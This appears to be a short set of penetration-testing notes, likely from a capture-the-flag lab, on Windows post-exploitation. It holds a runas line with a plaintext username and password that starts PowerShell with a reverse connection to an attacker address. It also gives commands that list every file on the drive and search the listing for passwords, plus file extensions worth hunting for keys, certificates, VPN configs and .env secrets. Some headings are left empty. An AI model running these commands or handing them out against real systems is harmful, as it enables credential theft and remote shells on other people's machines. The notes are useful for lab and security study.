switch users using:
\runas.exe c.bum Tikkycoll_431012284 powershell -r 10.10.14.92:8088
File Enumeration:
File check:
dir /b /a /s C:\ > dirs.txt - list all dirs and files
type dirs.txt | findstr /i passw - find docs with passwords
Potentially attactive file types:
certificates:
gpg, pgp, p12, der, csr, cer
keys:
pem, ppk, idrsa, id_dsa
backup files:
bak, backup, log
Executable:
bat, cmd, vbs
Config:
conf, cnf, ini, xml
VPN/ RDP:
ovpn, vnc, ssh, rdg (mRemoteNG), ftp, .git, .env (docker)
Potentially attractive files:
Registry Enumeration:
Registry search:
Potentially interesting Registry:
Run with 'reg query "REG"'
Credential Manager:
